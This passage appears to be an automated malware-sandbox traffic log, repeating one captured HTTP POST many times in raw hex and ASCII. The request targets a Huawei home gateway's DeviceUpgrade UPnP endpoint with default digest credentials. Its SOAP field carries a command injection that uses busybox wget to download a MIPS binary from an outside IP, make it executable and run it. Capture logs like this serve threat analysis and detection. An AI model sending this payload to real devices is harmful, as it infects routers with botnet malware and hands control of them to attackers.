34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
